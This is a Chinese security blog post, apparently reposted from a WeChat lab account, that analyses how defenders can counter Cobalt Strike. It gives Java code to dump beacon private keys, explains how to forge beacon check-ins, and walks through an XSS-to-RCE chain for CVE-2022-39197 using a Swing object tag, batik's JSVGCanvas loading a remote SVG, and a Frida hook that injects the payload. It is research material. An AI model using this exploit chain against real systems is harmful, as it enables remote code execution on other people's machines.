本文所述的一切技术仅供网络安全研究学习之用,请勿用于任何的违法及商业用途,否则由此所产生的一切法律后果自负!
听说马上要某行动了,最近事情有点多就很久没发文章了,文章不是一个时间段写的(主要内容都是好多年前写的,用的版本比较旧,现在整理笔记时重新修改,有一部分代码截图分析用的新版本,看核心逻辑就行,内容是一样的就懒得找老版本了),截图使用的版本有些乱(反正都是受漏洞影响的版本),因为现在准备发的时候发现之前的图有点问题,重新复现或者分析截一下,反正原理是一样的,核心没有变,不要在意细节。
虽然CS已经更到4.10了,但是仍然有很多人还在用老版本(可能是因为破解版没拿到,或者用的大佬二开的旧版本,新版本二开的没人分享),所以在实际蓝队防守和溯源反制的过程中,这篇文章还是可以参考一下的。本文主要是从防守角度出发,列出一部分CS分析的方法和反制的手段。
定位到上线的包,里面包含cookie,cookie即为加密字段
分析逆向后的CobaltStrike源码,定位到BeaconHTTP类中的Beacon Entry
继续跟进到C2Beacon类,BeaconEntry入口点在此处进行定义
继续跟进AsymmetricCrypto方法后进入AsymmetricCrypto类,其中是一个明显的RSA加密,模式为ECB,填充方式为PKCS1
继续往下跟到decrypt方法,RSA的解密需要调用私钥
回到BeaconC2类,其中对asecurity变量的赋值只有再setCrypto方法中存在
使用IDEA全局搜索功能定位调用的文件,出现在BeaconSetup类中
继续跟传入的参var2,var2的值来自beacon_asymmetric()方法,这个方法在同个类中定义,这其中的关键就是.cobaltstrike.beacon_keys
这个文件在cs运行目录下也能找到,是beacon的key文件,通常情况下通过一些工具就可以解析公钥,比如GitHub上的CobaltStrikeParser能解析默认配置下的stage信息
要取得私钥需要通过一些方法,根据上面的代码,编写一个工具类用于提取私钥,这个代码很多人都写过,直接拿大佬写完的也行
import java.io.File;
import java.util.Base64;
import common.CommonUtils;
import java.security.KeyPair;
class DumpKeys
{
public static void main(String[] args)
{
try {
File file = new File(".cobaltstrike.beacon_keys");
if (file.exists()) {
KeyPair keyPair = (KeyPair)CommonUtils.readObject(file, null);
System.out.printf("Private Key: %snn", new String(Base64.getEncoder().encode(keyPair.getPrivate().getEncoded())));
System.out.printf("Public Key: %snn", new String(Base64.getEncoder().encode(keyPair.getPublic().getEncoded())));
}
else {
System.out.println("Could not find .cobaltstrike.beacon_keys file");
}
}
catch (Exception exception) {
System.out.println("Could not read asymmetric keys");
}
}
}
使用此代码读取beacon_keys即可进行解密,运行前需设置classpath为cs的jar包文件
因为前面还有一串不可读字符,因此手动分析再进一步,先将私钥转换为16进制,以3082开头的即为私钥
通过工具解析,解密得到的内容如下,似乎看起来丢了一些字符,从DESKTOP变成了SKTOP
因此最终的metadata格式为:标志头(4)+Size(4)+Rawkey(16)+字体(4)+beacon ID(4)+ 进程ID(4)+port(2)+内核(4)+0x09 +受害者IP +0x09 + 主机名+ 0x09 + 用户名+0x09+进程名
因此只需要知道了公钥和linster地址就能实现伪造上线,照上面的格式构造包就行,中间还有个小坑,就是长度的问题,如果超过特定长度会报错,伪装上线效果如下:
Tips:还有一个比较有意思的地方,正常情况下如果是Administrator上线的时候,图标是不一样的
在伪造的时候,发现上线效果不太一样,图标没变红,就是正常的蓝色,如果需要伪装成管理员(即上线时为红色图标),只要在用户名后自己加个*就行
最后补充一下长度问题,为什么会存在长度过长无法伪造上线呢,上面的分析已经提到了CS使用的是RSA算法,加密模式为ECB,填充方式为PKCS1
RSA公钥密码体系是建立在大整数分解难题的基础上的,RSA密码体系的步骤如下:
-
-
-
选择一个整数e,1<e<φ(N),且e与φ(N)互质
-
-
-
加密数据时,将明文转换为整数M,计算C=Me mod N
-
解密数据时,将密文转换为整数C,计算M=Cd mod N
在RSA算法中,公钥(N,e)用于加密数据,私钥(N,d)用于解密数据。由于φ(N)难以计算,因此在已知N和e的情况下,计算d是困难的,这就保证了RSA算法的安全性。同时,由于N是两个大素数p和q的乘积,因此破解RSA算法的关键在于分解N为p和q两个素数的乘积,这是一个极其困难的问题,因此RSA算法被认为是一种安全的加密算法。
ECB的加密模式也很好理解,电码本模式(Electronic Codebook Book,简称ECB)是一种最直接,最简单的消息加密方式。在ECB模式中,明文加密之后将直接得到密文,同样的密文解密之后,也直接得到明文。ECB模式优点:
简单易实现。每个明文块独立加密,无需复杂的链式操作或初始化向量(IV),实现逻辑简单。
并行处理能力强。由于明文块独立加密,可充分利用多核处理器优势,显著提升加密/解密速度。
无错误传播风险。单个明文块的错误不会影响其他块,传输过程中数据损坏时仅局部受影响。
数据模式暴露风险。相同的明文块会产生相同的密文块,若明文中存在重复内容(如图片的固定模式),攻击者可轻易通过密文分析推测明文结构。
不适合长数据流。对于包含大量重复数据的长数据流(如视频、连续文本),ECB模式的安全性较低,易受统计分析攻击。
安全性较低。仅适用于对安全性要求极低且数据量较小的场景(如密钥保护),不适用于需要高保密性的应用。
因为CS中使用的是RSA-1024(这是一种已知存在缺陷的加密算法,不推荐使用),也就是长度为128位,因此待加密的明文(metadata数据)是需要小于128位的,加上PKCS1占用的11位,实际可用长度是128-11=117位,因此在随机生成虚假上线的payload时,也要注意长度不能超过117,如果没有限制时纯随机可能导致长度过长,出现如下报错:
在前不久beichen师傅给CS提了一个XSS漏洞,编号为CVE-2022-39197,影响CS<4.7.1的所有版本,用上面的伪装上线修改一下提交payload,效果如下:
<html><img src=http://127.0.0.1/1.png>
但是你会发现如果把用户名替换为script标签其实并不会弹窗,直接不显示了,所以不是用file://xxx/cmd.exe这样的方式来实现的RCE
来分析一下,很多人以为直接通过js能够xss2rce,实际上并不是这样,看到很多文章都在写js的问题,但是这个核心根本不是js...(补充:后来漂亮鼠的文章里也说了),而是swing解析html的问题,先来分析一下swing的解析器,老版本的swing通常在jdk目录的rt.jar下,新的(我用的jdk21)在java.desktop/javax/swing/text/html中
找到解析HTML的一个方法看一下,新版本的IDEA格式解析看起来还是很友好的
跟一下其中的几个Action,太菜了没发现啥,换个别的文件反而找到一点思路
定位到HTMLEditorKit类中的HTMLFactory,其中定义了很多view,再一点点看,中间踩了很多坑,踩坑过程就不写了
在跟到其中的Object的时候,发现这个东西可以实例化类,还可以传递param参数,这时候感觉大概率能深入挖掘这个进行利用了
继续看这个类,在里面发现了createComponent,看到这个代码经常分析Java的朋友(反正不是我)应该知道这个非常经典的反射加载类代码
但是条件是会先判断是否继承了Component,如果没有继承就返回错误,继续跟进SetParameter参数
这里有一个对writer的判断,也就是能不能写,如果要能写的话需要有setXXX方法的XXX属性才行,且参数为String,找Component子类可以用IDEA自带的功能去找
找了半天(以下省略踩坑过程,主要是以前写的太简单了都没提)找到了org.apache.batik.swing.JSVGCanvas,可以用这个方法远程加载svg图片,svg也在xss中经常被用来绕过一些限制
查了查文档,先简单实现一下怎么用object来加载一个标签,写一个Demo先
package org.example;
import javax.swing.*;
public class Main {
public static void main(String[] args) {
JFrame.setDefaultLookAndFeelDecorated(true);
JFrame frame = new JFrame("test");
frame.setDefaultCloseOperation(JFrame.EXIT_ON_CLOSE);
JLabel label2 = new JLabel("<html><object classid='javax.swing.JLabel'><param name='text' value='test'></object>");
frame.getContentPane().add(label2);
frame.pack();
frame.setVisible(true);
}
}
引申一下,就用上面找到的svg加载方式,使用org.apache.batik.swing.JSVGCanvas来加载svg
<svgxmlns="http://www.w3.org/2000/svg"width="100"height="100">
<circlecx="50"cy="50"r="40"stroke="black"stroke-width="3"fill="green" />
</svg>
熟悉XXE的朋友应该都知道,可以构造一个特殊的xml来执行一些命令,那试试能不能直接通过script标签来执行,结果一跑发现报错了
控制台里的信息显示的是找不到类,实际上在CS里直接通过这种方式利用也不行
然后看文章的时候看到十年前就有人写了文章,svg和java代码执行
https://www.agarri.fr/blog/archives/2012/05/11/svg_files_and_java_code_execution/index.html
但是又遇到一个巨坑的问题,不知道什么情况被拦了,应该是同源策略的关系
折腾了半天,加了一条禁用SecurityManager才解决问题(可能是不同batik版本的问题?),重新编译后即可成功启动计算器
也就是通过这种方式加载SVG就能成功执行上线了,迁移到CS中来,继续回到CS分析调用情况,在CS的batik的BaseScriptingEnvironment.java中跟进解析
checkCompatibleScriptURL(type, purl);
man.getMainAttributes().getValue("Script-Handler")!=null
man.getMainAttributes().getValue("SVG-Handler-Class")!=null
看网上文章好像在老版本里还没有Script-Handler和SVG-Handler-Class,还是var的变量形式(笑死)。下面两个条件是特定字段不为空,第一个方法再跟一下,真是一个套一个...
继续跟checkLoadScript和getScriptSecurity
最终跟到了DefaultScriptSecurity
可以看到条件就一个,只要远程svg和jar包文件地址相同即可。
上面已经说到了117的长度限制,然鹅如果使用object标签肯定长度会超,分析了一下发现了一个很有意思的东西,还是前面分析过的HTML解析部分,有一个frame标签的解析
使用标签方式可以绕过长度限制,但是发现出现了一堆报错
不知道发生了什么,又整了半天没成功,但是可以通过另一个方式去复现,就是Hook WindowsAPI,以后可能会写frida的文章吧(咕咕咕,下次一定),这次先不展开了,主要脚本如下
var payload="<html><object classid='org.apache.batik.swing.JSVGCanvas'><param name='URI' value='http://127.0.0.1/test.svg'></param></object>"
var pProcess32Next = Module.findExportByName("kernel32.dll", "Process32Next")
Interceptor.attach(pProcess32Next, {
onEnter: function(args) {
this.pPROCESSENTRY32 = args[1];
if(Process.arch == "ia32"){
this.exeOffset = 36;
}else{
this.exeOffset = 44;
}
this.szExeFile = this.pPROCESSENTRY32.add(this.exeOffset);
},
onLeave: function(retval) {
if(this.szExeFile.readAnsiString() == "beacon.exe") {
send("[!] Found beacon, injecting payload");
this.szExeFile.writeAnsiString(payload);
}
}
})
原文始发于微信公众号(魔影安全实验室):Cobaltstrike反制浅析——从伪装上线到RCE
评论